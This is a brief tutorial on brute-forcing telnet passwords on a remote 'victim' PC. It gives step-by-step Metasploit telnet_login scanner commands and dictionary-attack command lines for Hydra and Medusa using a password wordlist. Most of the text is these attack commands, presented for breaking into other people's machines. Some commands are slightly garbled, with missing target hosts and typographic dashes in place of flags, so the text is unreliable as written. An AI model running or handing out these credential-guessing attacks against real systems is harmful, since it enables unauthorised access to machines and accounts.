3 Ways to Hack Telnet Passsword of Remote PC

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Open Kali terminal type msfconsole

Now type use auxiliary/scanner/telnet/telnet_login

msf exploit (telnet_login)>set userpass_file  /root/Desktop/pass.txt

msf exploit (telnet_login)>set rhosts (IP of Remote Host)

msf exploit (telnet_login)>set verbose true

msf exploit (telnet_login)> exploit


Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, ftp, http, https, smb, several databases, and much more

Now, we need to choose a wordlist. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.

Run the following command

 hydra -l msfadmin –P /root/Desktop/pass.txt telnet

  • -l indicates a single username (use -L for a username list)
  • -P indicates use the following password list
  • ^USER^ tells Hydra to use the username or list in the field

After a few minutes, Hydra hack the password


Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few

Run the following command

Medusa  -h -u msfadmin –P /root/Desktop/pass.txt –M telnet

Now connect victim pc using telnet command  result are shown below.


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